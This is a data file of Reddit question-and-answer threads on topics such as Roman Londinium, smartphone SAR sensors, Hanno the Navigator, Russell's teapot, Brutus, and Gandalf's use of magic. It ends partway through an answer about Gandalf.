{"q_id": "537b5j", "title": "Why aren't there ruins and buildings from Roman Londinium in London, like there are in Rome?", "selftext": "I was just thinking of how Rome has loads of buildings, amphitheatres, coliseums from the Roman empire, but we don't seem to have any in London.\n\nIs it because we didn't care about preserving them and took them down? Or did they get destroyed in battles? Or just natural wear and tear?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/537b5j/why_arent_there_ruins_and_buildings_from_roman/", "answers": {"a_id": ["d7qtapp", "d7qvq8d", "d7qw0vj", "d7r0q29"], "score": [34, 569, 178, 47], "text": ["This thread seems to be accumulating multiple below standard posts. Remember, if you can contribute nothing more than your skills at using Google to find an article, please don't post.\n\nAsk yourself these questions:\n\n* Do I have the expertise needed to answer this question?\n\n* Have I done research on this question?\n\n* Can I cite my sources?\n\n* Can I answer follow-up questions?\n\nIf you answer \"Yes\" to all of these questions, then proceed. If you answer \"No\" to one or more of these questions, seriously reconsider what you're posting. For more clarification, see [our rules](_URL_0_).", "London was a very important city both during the Roman period and also at the beginning of the Anglo-Saxon period (with a small lapse in the middle).  It had the [largest basilica north of the alps](_URL_0_) which indicates that it held a rather important status, and Tacitus mentioned that it was 'crowded full of merchants and merchandise'.  Rome spent a lot of money creating the port and bridge in London as Britain at least in the early few centuries was quite important as evidenced by the fact that until the collapse of the Roman empire, it stationed about 1/8 of the Imperial army in Britain.\n\nPart of the reason for the decline of London was a fire somewhere between 125-130AD and a subsequent decline in population somewhere between 155-160AD.  Parts of London were also deliberately demolished- the Basilica was one casualty, the baths were another.  There's a number of factors that have been suggested for the overall decline - a plague in between 443-455AD that went around the Roman empire, there was a substantial loss of Roman coin in Britain which shows itself in the reduction in the quality of living quarters and the change in what rooms were used for in the houses.  \n\nMost of it was buried, some of it deliberately, some of it by neglect and decay, and with no-one to maintain them, they were often turned into building material for other ventures in later centuries.", "The quick answer, I suppose, is that there *are* Roman ruins in London, just not on the scale that there are in Rome itself. For example, the Roman Amphitheatre which is beneath the Guildhall in the modern City of London, various sections of wall and part of the Forum in the basement of, I believe, a hairdressers, among many others.\n\nThe important point to consider is that both Rome and London have been continually inhabited since Roman times and what this means is that what survives tends to be buried underneath the modern cities. The better question to ask, in other words, is why does more remain *standing* in Rome and so little in London?\n\nA lot of the structures that remain standing in Rome do so because they stayed in use (although not necessarily the same kind of use) in later times, for instance, the pantheon became the church of St. Mary of the Martyrs. Another common occurrence is for parts of Roman structures to be incorporated into later buildings. \n\nThe most common fate for buildings of any grandeur was to be quarried for stone to be used in later buildings. An example of this is a stone from Hadrian's Wall found in Lanercost Priory with an inscription referring to one of the Roman legions (The 6th Legoin Victrix) involved in the wall's construction. This happened just as much in Rome as elsewhere, so it wasn't that later Britons had any particular lack of interest in the preservation of Roman structures nor that there was necessarily any specific effort to take Roman structures down. \n\nIt's really important to bear in mind that what is now an ancient structure to us was once just a functional building and would have been treated with no more reverence than a modern office block is today - if the purpose it serves is no longer useful to the people living around it, it will be either turned into something that is useful or used to build something useful. The idea that we have that old buildings should be preserved purely because they can tell us things about the period to which they belong is a very recent concept indeed. \n\nSo, it's actually remarkable is that so much survives in such good condition in Rome - even though what survives is actually very little in terms of what there was. Most of what survives in Rome does so in the same way as the ruins of London - underground - and there's more of it because Rome was much bigger to begin with. Londinium may have been the largest settlement in Roman Britain but Britain itself was a minor province, meaning that Londinium was never anywhere near Rome in terms of size or grandeur. Very little still stands because very little managed to either remain in constant use or was sizable enough to withstand later quarrying.", "There've been plenty of posts on the importance and architecture of Londinium but nobody has yet addressed one very important factor: Mussolini. While the fascist party was in power, Rome was redesigned completely, and much of the impressive monumental architecture (especially the Forum Romanum) was given a much more prominent place in the city. \n\nFor example, the Forum had been paved over by later developments, and many buildings had been added to the space in the Medieval and Baroque periods. Mussolini ordered all those removed, so that only the 'original' Roman remains were left. Because the Roman Empire was an important model for Mussolini's ideal state, they were thus used as a way of reinforcing fascist ideology. Another great example of this is the Res Gestae of Augustus: Mussolini had the inscription rehoused to a more prominent place (the building has since been demolished) and even wrote his own - a bizarre piece of work flanked by angels carrying machine guns - to reinforce the connection between them. \n\nSo answering your question in a slightly different way: it's not only that Londinium just didn't really have the same scale of monumental architecture in the first place, but also that Rome's ruins served an important ideological purpose during the fascist regime.\n\n-------\n\nSource: Painter, B. *Mussolini's Rome: Rebuilding the eternal city*, Palgrave Macmillan (2005)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/wiki/rules#wiki_answers"], ["http://www.mola.org.uk/blog/discovery-ornate-roman-fresco-revealed"], [], []]}
{"q_id": "evp6iq", "title": "how does the sar sensor work in smartphones?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/evp6iq/eli5_how_does_the_sar_sensor_work_in_smartphones/", "answers": {"a_id": ["ffylyq1", "ffzgxfu", "ffx591w", "ffx61mo", "ffx7l82", "ffx84e1", "ffx8hy0", "ffx96zi", "ffxc944", "ffxf7p9", "ffxfjzi", "ffxkphp"], "score": [7, 2, 17, 583, 243, 74, 14, 6380, 524, 3, 54, 2], "text": ["Can someone tell me how I could test this sensor myself? It sounds interesting.", "\u201cIt\u2019s an energy field created by all living things. It surrounds us and penetrates us; it binds the galaxy together.\u201d\n\nThe phone can detect the force. The force is a weak electromagnetic field.", "Which phone are you using?\n\n\"In the U.S., the FCC allows RF exposure from cellphones up to a SAR level of 1.6 W/kg (over 1g of tissue) with a maximum separation distance of 25mm\"\n_URL_0_\n\nNot sure about any sensor detecting biological matter, but I know of the proximity sensor on most modern smartphones. Maybe it works in conjunction with proximity and a function of RF exposure measured from SAR?", "A SAR sensor measures the surrounding capacitance. When something gets close, that capacitance value increases, and this increase from the baseline indicates what it is close to. Living beings give a larger increase than inanimate object. \n\nIt\u2019s very similar to a capacitance touch screen which will work with a finger but not if you\u2019re wearing gloves.", "The top response is pretty close. The sensor just detects capacitance. People and pets have body's that have capacitance due to things like blood and electrolytes. If you try a sausage, it will work just like a finger. The physical contents are similar. Living vs nonliving detection is nonsense or just marketing", "Imagine you have a pool full of water and a rock and sponge that are the same size. If you put the rock in the pool the water level will rise as the rock can't absorb water. The sponge on the other hand will absorb some of the water so the level will not rise by nearly as much. So long as you can accurately measure the size of the object and the level of the pool you can calculate how absorbent different things are.  \n\nA SAR sensor works in a similar manner except it uses an electromagnetic field instead of water. If you have an electromagnetic field, and you can accurately measure it, you can tell how much charge is being absorbed by whatever is in the field. \n\nLiving things tend to absorb more charge than non living things.", "Also, can someone explain why this sensor is useful?", "Let's make it more ELI5 than the current best answer:\n\nElectricity is weird. There's actually a tiny electrical field *around* your body, and most living things for that matter. We can make super-sensitive sensors that read electrical fields. We can also know what the sensor will \"see\" if no living things are near a device. So we tune those sensors to look for changes in the electrical field around them, and how to recognize what it looks like when an object gets close. \n\nIt's sort of like how even if your eyes are closed, you can still sort of tell if you're facing towards or away from a lamp. Your eyes are fancy light sensors, and your eyelids let a little light through, so by comparing the amount of \"dark\" you \"see\" through your eyelids, you can still figure out a lot about what you're looking at. This sensor \"sees\" tiny electrical fields.\n\n**Update**\n\nThe biggest contention with my answer seems to be, \"But doesn't the sensor see the phone's electrical field?\" Let's revisit my answer and handle this again.\n\n >  We can make super-sensitive sensors that read electrical fields. We can also know what the sensor will \"see\" if no living things are near a device. So we tune those sensors to look for changes in the electrical field around them, and how to recognize what it looks like when an object gets close. \n\nYes, the sensor does \"see\" the phone's electrical field. You also \"see\" your nose all day long. But unless you really focus on it, you probably don't *notice* your nose because your brain is used to it being there and removes it from your perception. In the same way, the sensor \"sees\" the phone's electrical field but is trained to ignore that and look for *different* fields.\n\n*More technically*, the sensor is really looking for *changes* in the field. So for the first few seconds after the phone is on, the sensor might think there's an object nearby. The people who made the phone are already aware of that, so for those few seconds the sensor is ignored. After a few moments, the sensor settles down and says, \"Hey, the field's not changing anymore.\" THAT is when the phone starts listening. If the field changes, something must have brought a new field within the sensor's range. That *probably* means something with a field is near the phone that wasn't near it before, so the phone assumes an object is near. Later, when that thing moves away, the sensor notes the field has changed back to how it was earlier. Then the phone assumes the object is gone.\n\nYes, that means things other than your face might get picked up. The engineers who made the phone don't care, all that matters is it detects a face within an inch or two accurately. Any other crazy thing that triggers it is probably someone having fun after reading an ELI5 post, and there's no harm if that is a \"false positive\".", "A lot of people explaining the sensor itself, but there isn\u2019t much explanation on its purpose, so here goes:\n\nDifferent regulatory bodies (FCC, EU, etc.) place restrictions on how powerfully your phone can transmit WiFi and Cellular signal. The catch is, these restrictions are not based on the absolute transmission power, but rather on how powerful the waves are *when they come in contact with human tissue*. Because waves become less strong as they travel, the further away you are from your phone, the more powerfully your phone can send it\u2019s signal while still following regulations.\n\nThis is the purpose of the SAR sensor, it can tell how far human tissue is from the phone and let the device adjust its transmission power accordingly. It\u2019s a small performance optimization that lets your phone eke out a little bit more performance when your phone is say on a table or in your jacket pocket, rather than in your hand.", "Anyone know how far away it can detect a person? Inches of feet?", "What phone do you have, and how did you access the sensor data. I really want to try it for myself now.", "What does this mean for information collection that I\u2019m unaware of and don\u2019t want?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://blog.semtech.com/cellphone-safety-too-close-for-comfort"], [], [], [], [], [], [], [], [], []]}
{"q_id": "17doxk", "title": "Hanno The Navigator", "selftext": "How far did he actually get in Africa? Did his voyages represent an actual attempt to colonize West Africa by the Carthaginians or was it more just him going off on an adventure trying to discover new lands? And what did later people think about his explorations, were his stories generally believed or were they labelled as just legends?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/17doxk/hanno_the_navigator/", "answers": {"a_id": ["c84le5x", "c84mqgm"], "score": [6, 6], "text": [" >  In its inmost recess was an island similar to that formerly described, which contained in like manner a lake with another island, inhabited by a rude description of people. The females were much more numerous than the males, and had rough skins: our interpreters called them Gorillae. We pursued but could take none of the males; they all escaped to the top of precipices, which they mounted with ease, and threw down stones; we took three of the females, but they made such violent struggles, biting and tearing their captors, that we killed them, and stripped off the skins, which we carried to Carthage: being out of provisions we could go no further.\n\nThat text comes from Hanno (the Greeks translated his accounts of his voyages). He is describing what we think to be gorillas. Indeed, when 19th century Europeans encountered gorillas, they named them after the name Hanno gave them. As such, it is likely that Hanno reached the Gulf of Guinea, though their is no consensus as to how far he actually went into it.\n\n >  Did his voyages represent an actual attempt to colonize West Africa by the Carthaginians or was it more just him going off on an adventure trying to discover new lands?\n\nHanno's purpose really isn't known. The Carthaginians didn't imperialize in a 19th century European sense, but they certainly did colonize. However, they never sent colonies that far out.\n\nOne issue is that the Greek translation of Hanno's voyages is full of errors. Either Hanno was making stuff up, or the Greeks didn't actually have access to Hanno's writings (just stories about them), or the Greeks did a crappy job of translating. I think the latter is unlikely (the Greeks generally were good translators). Some historians believe that Hanno left the public accounts of his travels purposely vague, and speculate that the real goal of his trip was to find new sources of gold and other goods for the Carthaginians. The Carthaginians wouldn't have wanted the Greeks to have access to accurate information, so they withheld it.\n", "There's no consensus of how far Hanno got.  Some people suggest he went as far as Cameroon (and saw Mount Cameroon) but the only consensus I've seen is that he might have reached Senegal.  There was one very important thing working against Hanno: the West African current, which flows southward, and requires that ships move well away from the coast to return northward--something that European navigators didn't quite grasp until the mid-1400s.  If his provisions were gone and that prevented further travel, it suggests they weren't all that far from Carthaginian territory.  So I'd strongly disagree that it's \"likely\" that Hanno reached the Gulf of Guinea.  It's \"possible.\"  But there's evidently little agreement."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "95l37y", "title": "bertrand russell\u2019s analogy of a teapot to explain \u2018burden of proof.\u2019 known commonly as \u201crussell\u2019s teapot,\u201d \u201ccelestial teapot\u201d and \u201ccosmic teapot.\u201d", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/95l37y/eli5_bertrand_russells_analogy_of_a_teapot_to/", "answers": {"a_id": ["e3th0io", "e3thaih", "e3tkyco", "e3tlxwx", "e3tnb0i", "e3tnik4", "e3tsy9l", "e3tw6d5", "e3u2odz", "e3u6xgp", "e3u7xne", "e3u8hwx", "e3ub5ia", "e3uc5od", "e3ueo7w", "e3ujod8", "e3ul291", "e3ul6v8"], "score": [188, 5078, 636, 51, 3, 30, 49, 152, 6, 2, 2, 2, 2, 9, 5, 7, 5, 2], "text": ["Basically, the foundational principle of the scientific method is that predictions must be falsifiable. \n\nYou can pose any hypothesis you want that you think explains the world, but unless it can be tested, it's more or less worthless.\n\nRussell thought that if you make a statement that is not falsifiable, it is on you to demonstrate its truth.", "Russell's teapot is an analogy that shows that burden of proof lies with whoever makes the unfalsifiable claim. If someone was to claim that there was a teapot orbiting the sun between the earth and Mars, then the burden of proof lies with them, because it is impossible to prove that there isn't said teapot.\n\nIt's often used as an argument against religion or more accurately against the notion that religion must be disproven. Since it is impossible to disprove a god, the burden of proof lies with whoever is claiming God exist.\n\nTl;dr if someone ask you to prove something happened, and your argument is \"prove it didn't\" then your argument is probably bad.  ", "There's an infinite number of things that *could* be true. \n\nThe Men In Black *could* exist, just neuralizing everyone that comes across hard evidence (so the lack of evidence isn't surprising), and using advanced alien tech to conceal themselves. \n\nWe all *could* be in the Matrix, with every experience we have being nothing but a simulation. \n\nThere *could* be an invisible weightless monkey sitting on your shoulder all the time, except for when you go to feel for him. \n\nThere *could* be a celestial teapot out there, and all the lack of photographic evidence can just be chalked up to insufficiently powerful telescopes. You can't guarantee you've looked in every single spot, or that you would have seen it if you did.\n\nThere's no way to disprove any of these things, since the excuses are baked right in. \n\nBut without a really strong evidence *for* them, you'd be an idiot to believe any of them. Or if you do pick one of them to believe anyway, you've got no basis for rejecting any of the others. \n\nIt's not my job to prove that the Men In Black aren't real, since doing so is put on a shelf that's deliberately out of reach. \n\nInstead, it's the job of the person that wants me to believe it that the Men In Black really *do* exist - and until then, I'm under no obligation to take the idea seriously. \n\nThe core idea is *falsifiability*. If you can't come up with a test that, if failed, could prove the assertion false... then you shouldn't believe it without *positive* evidence.  ", "It\u2019s just a way of formalizing the idea that the burden of proof lies on the person making an assertion, particularly an assertion not easily proven wrong, not on others to refute it - and, as a sort of side issue, it implies that the more outlandish a claim is, the more certain it is that that\u2019s the appropriate place for the burden.  \n\nIf I claim there\u2019s a teapot in orbit around the sun, the burden isn\u2019t on you to prove there isn\u2019t one. That would be ridiculous - you\u2019d have to monitor every single bit of space around the sun. Instead, the burden is on me to show there is a teapot there. \n\nIf I claim, on the other hand, that an object dropped close to the surface of the earth accelerates at roughly 9.8 meters per second per second, minus whatever relevant drag force, well, that\u2019s easily falsifiable - either one of us can easily do an experiment. \n\nIt kind of ties in nicely with the whole orders of magnitude required to refute bullshit assymetry thing in my mind - claims should be easily falsifiable, pretty much. ", "In particular this is a rebuttal to divine revelation. Per wikipedia \"Revelation may be defined as the communication of some truth by God to a rational creature through means which are beyond the ordinary course of nature\"\n\nAccording to Russell you can't just go around saying that God suddenly appeared to you and had a conversation with you. That's no basis for a belief system, to paraphrase Monty Python. ", "The analogy was created in response to the very common argument of \"you can't prove it's not true, so it is.\" The analogy highlights the basic principle that the moving party bears the initial burden of proof and that the absence of proof against something is not itself evidence in support of that something.\n\nHowever, it's important to remember that there is an extension to this analogy. The absence of evidence is not the evidence of absence.  This is a very common fallacy in many internet fights where both sides are way too lazy to present evidence.\n\nHere's an example, using the teapot analogy as a base:\n\nA says that there is a teapot in orbit around the Earth. B says that there is not a teapot in orbit around the Earth. Neither A nor B has any evidence in support of their claim.\n\nThe fact that B does not have evidence refuting A's claim **is not evidence that A's claim is true.** Similarly, the fact that A does not have evidence supporting A's claim **is not evidence that A's claim is false.**", "Person A: \u201cThere\u2019s a teapot orbiting the sun!\u201d\n\nPerson B: \u201cProve it.\u201d\n\nPerson A: \u201cProve there *isn\u2019t*!\u201d\n\nPerson A is an idiot. It\u2019s up to the person who makes the positive claim to provide the evidence. Otherwise anyone could make up an infinite numbers of things exist.", "If your friend tells you that they've discovered a new Pokemon, you'd ask them to show you, right?\n\nWhat if they told you that this Pokemon was so small, you couldn't actually see it in the game?  You might ask them how they know it's there, then. You want them to show you.\n\nYour friend could say, \"how do you know it's *not* there? I won't show you, you show me that it's not there.\" \n\nWould you bet your lunch money on it being there or not?\n\n", "Imagine someone tells you a teapot is orbiting Mars.  Either a teapot is orbiting Mars, or it isn't.  Until you see it, or have another good reason to believe it is, you can safely assume it isn't.  Once there is evidence it is, you can weigh the strength of that evidence over your previously safe assumption it isn't.  If the evidence is compelling, you can reasonably adjust your belief, and believe a teapot is orbiting Mars.\n\nIn other words: if someone wants you to believe something, they should give a good reason why you should believe it.  ", "If someone says that there is a teapot flying somewhere deep in outer space. Would you just believe them? Maybe you might, but maybe you might ask: well, how do you know? Or I can't see it? Are there any pictures of it? Have we measured it? Can we see the effects of it? Now if the person says: no, but you can't prove it's not there, that's a little weird. They were saying something is there and they should be able to tell you how they know or why they believe that. Not make you show that something odd is not there. \n\nThis is how a lot of religious people act: they claim that there is some god, or supernatural being or flying spaghetti-monster and then when you ask them how they know, they ask you to show them it's not true. That's not fair, because they are the one's saying that something is there. They should be the one showing you how they know, not making you show why it's not there. \n\nAnd that's the flying teapot argument.", "The point is that I can assert any silly thing I want (e.g. we are living in our own version of that movie, Truman Show), but that doesn't make it true. People often assert such silly things and then tell the other person \"prove me wrong\", but the ordinary order of things is instead for the other person to say \"that sounds silly, prove it to me\". We could summarize the teapot argument as \"demand proof\". There's also the Sagan standard, extraordinary claims require extraordinary evidence. ", "In the Jewish Babylonian Talmud this idea is called \u05d4\u05de\u05d5\u05e6\u05d9\u05d0 \u05de\u05d7\u05d1\u05e8\u05d9\u05d5 \u05e2\u05dc\u05d9\u05d5 \u05d4\u05e8\u05d0\u05d9\u05d4. Whoever wants to make a claim from another needs to provide proof. Generally this is referred to in monetary cases which is why the law is that you need to write a document and have two witnesses before the loan takes place. ", "There is a statutory rule in court that is somewhat based on this idea. If one side asks the other side to admit something and the other side refuses to admit it, then the cost of proving that fact at trial can be shifted to the denier.", "Ricky Gervais has a good analogy. It's like if someone tells you they can fly, you question them, and they say \"Prove I can't fly\". Fuck you, you're the one saying you can fly, prove that you can.", "It's not as much about burden of proof as it is about un-falsifiable claims.\n\n\nRussell's teapot - just so we are all on the same page.\n\n > Bertrand Russell claims there is a flowery china teapot orbiting around the sun between Mars and Jupiter. Prove him wrong.\n\nIf I tell you something that nobody could know if it was wrong or not, how could you know if I was telling you the truth?\n\nIn Russell's example, one would have to simultaneously be able to track and image every single teapot-sized or larger object in orbit around the sun between Mars and Jupiter.\n\nWhat if the teapot is all black? Or inside an asteroid? How could you possibly know? You would have to have a system or technology that is currently out of reach for human kind or have knowledge that is beyond humans to currently obtain.\n\nRussell's claim is either un-falsifiable or at least currently un-falsifiable by mankind. And that's just to determine if Russell claim is true - even if true, it's trivial.\n\nSo in the way that it does impact burden of proof. Since proving Russell wrong is such a monumental (or even impossible) task, one might simply request the evidence Russell has to make this claim in the first place.\n\nIf his evidence is lacking, you can dismiss Russell's teapot as unsubstantiated.\n\n----------------\n\nAs otherwise indicated, this thought experiment is commonly used to disprove supernatural claims.", "Imagine this conversation:  \nA: \"I can run 300 miles per hour!\"  \nB: \"Prove it.\"  \nA: \"Diprove it.\"  \nWhich is why the person who makes a claim should be the one to provide proof.", "Imagine your dad caught you eating some cookies. You say, \"The invisible unicorn made me do it! I believe he did it! You can't say he didn't because I believe he did it!\".\n\nBUT your dad just happens to be Bertrand Russell. He says, \"Well my invisible guard dog saw you eat those cookies so I know you're lying!\". \n\nAt this point, you'd likely say, \"You don't have an invisible guard dog, that's silly!\"\n\nAnd Bertrand Russell would say, \"prove it!\".\n\nThe point is, you can't, in exactly the same way that a religious person can't prove the existence of God with tangible, solid proof. Bertrand Russell wanted to show how ridiculous an argument this is by flippantly stating he believes there's a giant teapot floating in space and expecting everyonr to believe it, with absolutely no solid proof- exactly like you wanted him to believe in your invisible unicorn.", "Lots posting not explaining to a five year old.\n\nBasically, if someone says something is true/happened then they are the ones who are supposed to prove it. It's not up to me to go through the work to prove there's not a teapot in space. It's on them to go through the work to show me there is."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "1krp9a", "title": "Is there any legitimacy to \"neuro training\" sites such as Lumosity?", "selftext": "I just saw an ad on TV for games that \"train your brain\", supposedly increasing speed, memory, etc. Any truth to this?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1krp9a/is_there_any_legitimacy_to_neuro_training_sites/", "answers": {"a_id": ["cbs600c"], "score": [2], "text": ["[Here](_URL_0_) you go. This should answer your question."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/askscience/search?q=Lumosity&amp;sort=relevance&amp;restrict_sr=on&amp;t=all"]]}
{"q_id": "1zcnt8", "title": "if you hired someone who was a conjoined twin, would you have to pay both of them?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1zcnt8/if_you_hired_someone_who_was_a_conjoined_twin/", "answers": {"a_id": ["cfsh7lb", "cfsj9bv", "cfskv13"], "score": [2, 4, 12], "text": ["I would imagine so, but only if they both worked. if only one did, his bro would be pretty bored ", "This is so rare, there is probably no legal precedent.\n\nI've never heard of a conjoined twin working in any way other than a performer showcasing their condition.\n\nAnd these days, only the most profoundly intermingled twins remain conjoined, and would have difficult carrying out a normal job.\n\nThat said, since the non-working twin would not be required to be on the job *by the employer*, they would most likely not have to be paid by the employer.", "Yes and if one converted to Judaism the employer would be short staffed over the holiday season."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "196pi9", "title": "Was Brutus really the bad guy?", "selftext": "I feel like he was part of a conspiracy that had the intention to cause the dictator Caesar to fall. Not very nice of Brutus, based on the personal relationship between him an Caesar, but the goal was to get rid of a dictator.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/196pi9/was_brutus_really_the_bad_guy/", "answers": {"a_id": ["c8lae90", "c8ll3dw"], "score": [8, 2], "text": ["E H Carr wrote that moral judgement is not the role of the historian, and I agree with him. Imposing modern morals on the past is a pretty fruitless, if tempting, endeavour. It's the historians job to answer why and to what extent, not to dole out declarations of moral validity.", "I'm going to leave aside the question of whether the assassins were \"bad guys\" for killing Caesar (that's a whole different question!), and focus just on Brutus.\n\nFirstly, it was widely known in Rome that Brutus' mother and Caesar were lovers:\n\n >  That [Julius Caesar] was unbridled and extravagant in his intrigues is the general opinion, and that he seduced many illustrious women, among them Postumia, wife of Servius Sulpicius, Lollia, wife of Aulus Gabinius, Tertulla, wife of Marcus Crassus, and even Gnaeus Pompey's wife Mucia. [...] But beyond all others Caesar loved Servilia, the mother of Marcus Brutus, for whom in his first consulship he bought a pearl costing six million sesterces.\n\n(From Suetonius' [Life of Julius Caesar](_URL_0_).)\n\nThere were even rumours that Brutus was Caesar's own son. However, Caesar was only about 15 years old when Brutus was born, and he isn't known to have started associating with Servilia until some time in his mid-30s, making it very unlikely that he was Brutus' father.\n\nIt was also rumoured that Servilia's youngest daughter, Junia Tertia, was Caesar's daughter (the timings work out much better for this claim!). Alternatively, Cicero thought that Servilia offered Tertia to Caesar:\n\n >  Cicero wittily remarked: \"It's a better bargain than you think, for there is a third off.\" And in fact it was thought that Servilia was prostituting her own daughter Tertia to Caesar.\n\n(Suetonius again.)\n\nSo, there was a close connection between Caesar and Brutus' mother... but does that mean there was a close connection between Caesar and *Brutus*? It's possible that Brutus was *embarrassed* knowing that his mother was the mistress of one of the most powerful men in Rome; Caesar himself was married to other women for most of the time he knew Servilia. Caesar might have felt paternal to this son of the woman he loved, while the son might have resented his mother's lover. We'll never know. But, we can't assume that, because there was a close connection between these two men, they must have had a *happy* relationship.\n\nNow, as to why Brutus joined the conspirators...\n\nMarcus Junius Brutus was supposedly descended from Lucius Junius Brutus, [who killed the last king of Rome](_URL_1_) - even though that earlier Junius Brutus left no living sons:\n\n >  Making the most of his having the same name as the great Brutus who overthrew the Tarquins, they scattered broadcast many pamphlets, declaring that he was not truly that man's descendant; for the older Brutus had put to death both his sons, the only ones he had, when they were mere lads, and left no offspring whatever. Nevertheless, the majority pretended to accept such a relationship, in order that Brutus, as a kinsman of that famous man, might be induced to perform deeds as great. They kept continually calling upon him, shouting out \"Brutus, Brutus!\" and adding further \"We need a Brutus.\" Finally on the statue of the early Brutus they wrote \"Would that thou wert living!\" and upon the tribunal of the living Brutus (for he was praetor at the time and this is the name given to the seat on which the praetor sits in judgment) \"Brutus, thou sleepest,\" and \"Thou art not Brutus.\"\n\n(From [Cassius Dio](_URL_2_).)\n\nThere was therefore public pressure from certain people in Rome on Brutus to act like his namesake and kill this new king.\n\nWhy did Brutus do it? Why did Brutus join the conspirators? We don't know. We can only guess.\n\nI think there's a strong hint in the fact that the conspirators *went into hiding* after killing Caesar. If they had truly felt they were killing a new king, they should have stopped and shouted the good news in the Forum that \"The king is dead!\" Instead, they ran. Why? Could it be that Brutus regretted his action, and wouldn't stand with them? Could it be that Brutus never really expected things to go that far, that he thought they would merely give Caesar a fright?\n\nHowever, the pressure on Brutus to join the conspiracy shows us that the conspirators thought they were doing the right thing: killing a new king. What Brutus' thoughts were, we don't know.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://penelope.uchicago.edu/Thayer/E/Roman/Texts/Suetonius/12Caesars/Julius*.html", "http://www.livius.org/bn-bz/brutus/brutus01.html", "http://penelope.uchicago.edu/Thayer/E/Roman/Texts/Cassius_Dio/44*.html#12"]]}
{"q_id": "3edxdp", "title": "My great grandfather did some job that involved army supplies during WWII, he had access to blank ration books and he use to steal them so his family could buy more stuff. in Britain How serious would that crime have been treated (in terms of sentencing  &  public reaction) at the time?", "selftext": "My ~~nan~~ grandmother (his daughter) told me about this when I was little. she gave me the impression it was about on par with stealing pens from work", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3edxdp/my_great_grandfather_did_some_job_that_involved/", "answers": {"a_id": ["cteqlk8"], "score": [14], "text": ["Serious. Penalties  for theft or fraud of ration books was fine of \u00a3500 and a possible two years in prison. Might have been more severe for your GGF as he was in uniform and subject to military justice, not civilian. But it would not be the equivalent of stealing pens as the system was designed to try and ensure each Briton would be adequately and equally fed during the war.  That being said, it appears that fraud and theft was rather rampant.\n\n- *Austerity in Britain Rationing, Controls, and Consumption, 1939-1955*,\nIna Zweiniger-Bargielowsk\n\n- *Black Market Britain: 1939-1955*,  Mark Roodhouse\n\n\nEDIT: This comes from my personal reading as a result of my studies in law school. A more in depth historian will hopefully be able to provide more clarity and color, as WWII historians are not in short supply in this group."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "rbe3x", "title": "In string theory, is it known how long a string is? Does this question even make sense?", "selftext": "More importantly, are strings thought to be actual physical objects that we could interact with if we had any way of operating on that sort of scale? Or it it just that the mathematical model of vibrations on a string is the closest thing we have to the relevant differential equations that is still something scientists can explain to laypeople?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/rbe3x/in_string_theory_is_it_known_how_long_a_string_is/", "answers": {"a_id": ["c44gbcu", "c44gxx3", "c44h23d", "c44i8k0", "c44iax5"], "score": [47, 5, 21, 9, 22], "text": ["The length of the strings is believed to be close to the Planck length, about 1.6*10^-35 meters.", "There's actually a new theory, commonly known as bubble theory. It's a variant of string theory. The problem with string theory is that for some aspects of it, the strings had to be infinite. The only way to do that and not have the strings eventually collide, they had to be circles of spheres. Thus, bubble theory.", "Strings are 1-dimensional objects that manifest themselves in (according to current theory, at least) 9 dimensions. In String Theory, there are both open (with two endpoints) and closed (without an endpoint, circular in nature but not in shape) strings. ", "_URL_0_\n\nThis is a link to the scale of the universe 2. It shows the length of string to the size of the known universe. It gave me a brain orgasm the first time I viewed it.", "_URL_0_\n\nI saw this posted a month or two ago, if you scroll all the way to the left it gives you the scale of a string."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://htwins.net/scale2/"], ["http://htwins.net/scale2/"]]}
{"q_id": "2rfag8", "title": "why did gandalf barely use any magic in both the hobbit and lotr? isn't he supposedly a very powerful wizard?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2rfag8/eli5_why_did_gandalf_barely_use_any_magic_in_both/", "answers": {"a_id": ["cnfbaow", "cnfbhzt", "cnfbycw", "cnfc10v", "cnfc2vj", "cnfcgir", "cnfchj1", "cnfcxb3", "cnfesjv", "cnfhzju"], "score": [73, 10, 4, 3, 271, 2, 7, 3, 3, 12], "text": ["The majority of Gandalf's \"power\" as a wizard is in his ability to influence others: he's an advisor, an inspirer, a general, and a friend.  His job in Middle-Earth is to rekindle the fire in people's hearts, rather than to confront evil directly.  Which is stated directly in one of the extra books (I think *Unfinished Tales*) when Cirdan gives him one of the three Elven rings, Narya, the Ring of Fire.\n\nBasically, he uses his magic when he needs to, but his job is to inspire people enough to create a world where they won't need his help (the help of the Valar/gods, basically).", "Yes he's a powerful wizard but he's one of those wise wizards that refuses to make life easier because he wants you to learn something. He's an asshole", "I ran into an article on Slate that addressed this issue, see the link:\n\n_URL_0_", "Wizards in the Hobbit universe are essentially Angels sent to guide the peoples of Middle Earth, not directly assist. The higher powers who created that world and it's inhabitants view the ring, the hordes of treasure (and by proxy Smaug), and the battles that resulted as a problem created by the inhabitants themselves and therefor left it to them to resolve on their own.\n\nGandalf is bound by orders to not directly take action, but unlike the others of his kind he is much more loose with the rules. ", "Gandalf is a Maiar, which is something similar to what we would call an 